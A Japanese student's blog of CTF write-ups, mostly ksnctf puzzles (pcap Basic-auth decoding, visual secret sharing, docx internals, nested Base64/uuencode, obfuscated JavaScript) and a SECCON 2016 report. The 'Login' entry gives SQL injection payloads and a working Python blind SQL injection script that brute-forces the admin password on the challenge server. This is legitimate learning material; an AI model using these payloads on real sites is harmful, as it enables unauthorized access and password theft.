田舎院生のセキュログ

自分用のメモとかWrite-up

#8 Basic is secure?

問題

pcapファイルが配布されます。
ksnctf.sweetduet.info

解法

pcapなんで、とりあえずWiresharkで開いてみます。
f:id:swime:20170219160343j:plain

HTTPパケットがあったので、HTTPでフィルタリングしてみます。
f:id:swime:20170219160531j:plain

注目する点は1回目と2回目のリクエスト・レスポンスですねー
2回共同じURLにゲットリクエストをしていますが、1回目のレスポンスは401で、2回目は成功の200が返されてます。
で、成功レスポンスの方のボディ部を見てみると…
f:id:swime:20170219162203j:plain

フラグはq8のパスワードですよーというヒントが(・ω・)

ちなみにこのURLにアクセスしようとすると…
f:id:swime:20170219162658j:plain

アクセスするにはIDとパスワードが必要らしい。
認証に成功すると2個上の画像の内容が表示されるみたいですねー
問題名からしても、これはベーシック認証が使われてますね。
で、先程のHTTPパケットですが、1回目のアクセスは失敗して401が返されて、2回目のアクセス時には正しいIDとパスワードを入力して成功したわけですね。
なので、2回目のHTTPリクエスト内にフラグが隠されてるっぽい('ω')
早速見てみると…
f:id:swime:20170219164159j:plain

青背景のところにIDとパスワードが記述されているのですが、Base64エンコードされてるので一見分からないですね。
なのでデコードしようと思ったのですが、Wiresharkって自動でデコードしてくれるみたい?笑
f:id:swime:20170219164412j:plain

IDが「q8」で、パスワードが「FLAG_5ux7zK2NKSH8fSGA」で…フラグゲットー!
一応確認として、認証画面で入力してみると…
f:id:swime:20170219164602j:plain

無事認証突破しました!
ベーシック認証は、通信を盗聴されると簡単にパスワードが漏れてしまうから危険だ、ということが分かりましたね(・ω・`)



個人的にはパケットを扱う問題が一番楽しいな(´∀`*)

#28 Lo-Tech Cipher

これもサクッと('ω')

問題

ksnctf.sweetduet.info
zipファイルが渡されます。

解法

とりあえずzipファイルをダウンロードして解凍してみると・・・
f:id:swime:20170211182144j:plain
share1とshare2という名のpngファイル…この時点でもう解き方が分かっちゃいました(/・ω・)/

PowerPoint上でこの画像を表示してみます。
一枚だとこんな感じ。
f:id:swime:20170211182319j:plain

これだと全く何も分かりませんが、もう一枚の画像をピッタリ重ねてあげます。
f:id:swime:20170211182419j:plain

解像度に合わせたサイズでピッタリ重ねないとキレイに見えないかも…
これでフラグ出るかなーと思ったのですが、もう一捻り必要みたいですねー。
ヒントとして、

The last share is hidden in the ZIP

と書かれています。

zipファイルからどうにかして画像をもう一枚取り出したいので、zipファイル自体をpngファイルに変えてみました(・∀・)笑
そして、pngに変えたzipファイルをパワポに挿入してさっきの画像と重ねてみると・・・
f:id:swime:20170211183016j:plain
ビンゴ!!フラグゲットです(´∀`*)


実はコレ、視覚複合型秘密分散法っていう技術で、うちの研究室の後輩がこの技術を応用した研究をしているんですよねー(笑)
なのですぐに解けちゃいました('ω')

#29 Double Blind

知ってればサクッと解ける問題('ω')

問題

ksnctf.sweetduet.info
docx形式の論文が配布されます。
この論文の著者名がフラグになるそうです。

解法

とりあえずdocxファイルをwordで開いてみると・・・
f:id:swime:20170211172947j:plain
内容は全く読んでないけど(読む気ない)、さすがにフラグは書かれてないですね~
画像が1枚だけあって、これが怪しげ(ФωФ)
とりあえずwordファイルを分解してみます。

ファイルの拡張子をdocxからzipに変更して、解凍すると・・・
f:id:swime:20170211173921j:plain
フォルダが生成されて、そのフォルダの中にはwordファイルの要素となる画像やxmlファイルが入っています。

その後はwordフォルダ内の、おそらくメインファイルであるdocument.xmlを開きます。
で、その中身を見ていくと…フラグ発見!
f:id:swime:20170211174414j:plain

画像ファイルの場所が絶対パスで記述されていて、そこのユーザ名がフラグになっていますね(・ω・)
たぶん検索で見つけれないように邪魔な文字を入れているので、その文字を取り除いたものが正解になります。

FLAG_NTSCFTTKP5ZDDW


Wordの他に、ExcelPowerPointファイルも実はxmlファイルで構成されているので、zipに変えて解凍してやると簡単に要素を抽出することができるんですね~
知っていて損はないと思います(´∀`*)

#5 Onion

気づけば1ヶ月ぶりの更新(゜Д゜)

問題はこちらのサイト
http://ksnctf.sweetduet.info/problem/5

長い文があるだけ(・ω・)

とりあえずハッシュ化したら答え出たりしないかなーと思ったけど、まぁ出るわけもなく。笑

調べたところ、どうやらBase64エンコードされた文字列らしい。
見極め方はよく分からないんだけど、数字よりもアルファベットの方が多いのが特徴なのかな?
末尾に「 = 」があれば分かりそうだけど(-ω-)

ということで、とりあえずネット上でデコードしてくれるサイトを探してこの文字列をBase64でデコードしてみる。
が、全然解読されず('Д')

問題名がOnionだから、たぶん何回もデコードしていくのかなぁと予想。(皮を何枚も剥くみたいな?)
で、デコードを何回も繰り返していくと・・・でた!

begin 666 <data>
51DQ!1U]&94QG4#-3:4%797I74$AU
 
end

ナニコレ(゚д゚)!?
Base64では使われていない記号が含まれているからこれ以上デコードできず。
で、「begin 666」とかで調べてみると・・・uuencodeっていうのでエンコードされたときの出力らしい('ω')

特徴として、

  • begin 3桁の数字 ファイル名 で始まり、
  • end で終わる

らしい。
ちなみに3桁の数字はパーミッションを表している。アクセス許可とかのヤツですね(・∀・)

ということで、この文字列をuuencodeでデコードしてみると・・・

FLAG_FeLgP3SiAWezWPHu

フラグゲットーーー!
uuencodeもオンライン上のサービスを探して利用しました(;^ω^)
本当はBase64uuencodePythonとかでプログラムを作った方が良いんだろうけど、uuencodeはPython3系では面倒くさいっぽいので今回はやめときました。。
でも今後必要になると思うから、暇なときに作っておこう(^^;)

Base64uuencodeエンコード手法について名前は知ってたけど、実際にどういう仕組みでやってるのかは知らなかったから、今回良い勉強になったと思う(`・ω・´)
wikiに分かりやすく書いてあるので知らない人は是非wikiを!(笑)

実際にCTFを解くときは、どのエンコード手法が使われたのか、気づきが重要になりそうですねー。

#3 Crawling Chaos

問題

f:id:swime:20161224171905j:plain
フォームが1つあるだけ。

解法

とりあえずソースコードを見てみる
f:id:swime:20161224171739j:plain
難読化JavaScriptコードがありますねー
これは得意分野(/・ω・)/

解読方法は色々あると思うけど、自分はChromeデベロッパーツールに慣れているので、それで開いてみる。
この程度の難読化なら、スクリプトの開始部分にブレイクポイントを設定して、コードの実行処理を追っていけば解読できる。
f:id:swime:20161224172633j:plain

で、JavaScriptデバッグしていくと・・・
f:id:swime:20161224172811j:plain
あっさり解読完了('Д')

コードを見ると・・・
フォームに正しい文字列を入力すると「(」・ω・)」うー!(/・ω・)/にゃー!」と書かれたアラートが表示される。
正しい文字列というのが、配列のi番目/iの値をASCII文字に変換して、連結したもの。

解析コードは書く必要もないと思うけど、一応書いておきます。

int_array = [70, 152, 195, 284, 475, 612, 791, 896, 810, 850, 737, 1332, 1469, 1120, 1470, 832, 1785, 2196, 1520, 1480, 1449]
count = 1
flag = ""
for x in int_array:
    flag += chr(int(x/count))
    count += 1

print(flag)

出力結果(フラグ)

FLAG_fqpZUCoqPb4izPJE

確認として、フォームにこの文字列を入力すると・・・
f:id:swime:20161224174117j:plain

ってことで、フラグゲットー(/・ω・)/


普段、実際に攻撃をするような悪性Webサイトの難読化コードを解読してる自分にとっては簡単でしたね。。

#6 Login

はじめに

この問題は自力で解いたわけではなく、他の方のWrite-upを読んで解きました。
自分の勉強用として書いておきます。

問題

f:id:swime:20161224161227j:plain

SQLインジェクションをしろっていう問題ですねー

解法

とりあえず定番のIDに「admin」、Passに「' OR 1=1 --」と打ち込んでみる・・・
f:id:swime:20161224161658j:plain

あっさりログインできてしまったけど、さすがにそれでフラグが貰えるわけではないらしい。
adminのパスワードを取得しろって問題みたい('Д')

けど、自分はSQLの知識が全くないのでこれ以上どうすればいいか分からず、Write-upを探してみた…(笑)

↓参考にしたサイト↓
ネットワークエンジニア ひよこ倶楽部 ksnctf #6 Login Write-Up

まずはパスワードの文字数を調べる!

admin' and (SELECT length(pass) FROM user WHERE id='admin') <= 100--

こういう構文で調べれるみたい。
ID欄にこのSQL文を書いて、Pass欄はコメントアウトされるから空白でもOK

この場合、IDがadminかつ、adminのパスワードが100文字以下ならtrueを返すようになっている。
だから、「100」の数字を適当に変えていけばパスワードの文字数が分かる。
その結果、パスワードの文字数は・・・21文字だと判明!

文字数が分かったところで、次はいよいよパスワードを取得してみる。

使用するSQL文はコレ

admin' and substr((SELECT pass FROM user WHERE id='admin'),1,1)='F'--

IDがadminかつ、adminのパスワードの1文字目がFならばtrueを返す。
「substr((--省略--),1,5)='Flag'」って書けば、adminのパスワードの1文字目~4文字目が「Flag」ならばtrueが返されてログインできる。

あとはこのSQL文を使って効率の良いブルートフォースアタックをするプログラムを書いて実行するだけ!
勉強中のPythonで書いてみました(・ω・)

import requests


def search(count, passwd):
    for x in range(33, 127):
        payload = {'id': "admin' and substr((SELECT pass FROM user WHERE id ='admin'),1," + str(count) + ")='" + passwd + chr(x) + "'--", 'pass': ""}
        r = requests.post("http://ctfq.sweetduet.info:10080/~q6/", data=payload)
        html = r.text
        if len(html) > 2000:
            print(chr(x))
            return chr(x)

password = ""
for i in range(1, 22):
    password += search(i, password)

print("Flag is " + password)

初めてPythonで関数を使ってみた…(笑)

出力結果はこんな感じ
f:id:swime:20161224164836j:plain
フラグゲットー!


これ、ブラインドSQLインジェクションっていう攻撃みたい?
ブルートフォースするしかこの問題を解くことはできないのかなぁー・・・?
CTFによってはブルートフォース禁止のルールもあるみたいだし、あまりしたくないというか…

でもその前にSQL勉強するしかないよね…(´Д`)(あまり興味ない)

SECCON 2016 Online CTF

12月11~12日に開催された、SECCON 2016 Online CTFに参加してきました!

初SECCON!初Online CTF!!

本当は身近な人達とチームを組んで出たかったのですが、うちの研究室の人たちはCTFに興味がないみたいなので1人で挑みました('ω')(一応セキュリティの研究室なのに…)

 

結果は100ポイント問題を2問しか解けず、合計200ポイント(+_+)

f:id:swime:20161214215537j:plain

 

 解けた問題は以下です。Write-upも一応書いてみました。。

 

他に挑戦した問題は以下です。

  • Memory Analysis
  • cheer msg
  • pppppoxy

Memory Analysisは色々考えてみたけど分からず、他の人のwrite-upを読んで理解。これくらいは解けるようになりたい…

cheer msg はとりあえず脆弱性だけ見つけて終わり。笑

BinaryやExploitは苦手意識があって全然勉強してないので、これから少しずつ手を出していければなと…。

pppppoxyはログインできれば良いっぽい?ので、辞書攻撃で何とかいけないかなぁーと思って一応やってみたんですが、まぁ現実的じゃないし無理でしたね(笑)

外国の方のwrite-upを読んでも全然分からず( ;∀;)(これから理解していきます)

 

今までCTFはfor ビギナーズしか参加したことがなかったのですが、やっぱりビギナーズと比べるとかなり難しいですねー。

まだCTFは今年から始めたばかりなので、これから1年勉強して、来年は200ポイント以上の問題も解けるように頑張りたいです(/・ω・)/

また、来年こそは研究室でチーム組んで出てみたい…!

 

SECCON自体はとても楽しかったです!!

運営の皆様、本当にお疲れさまでした。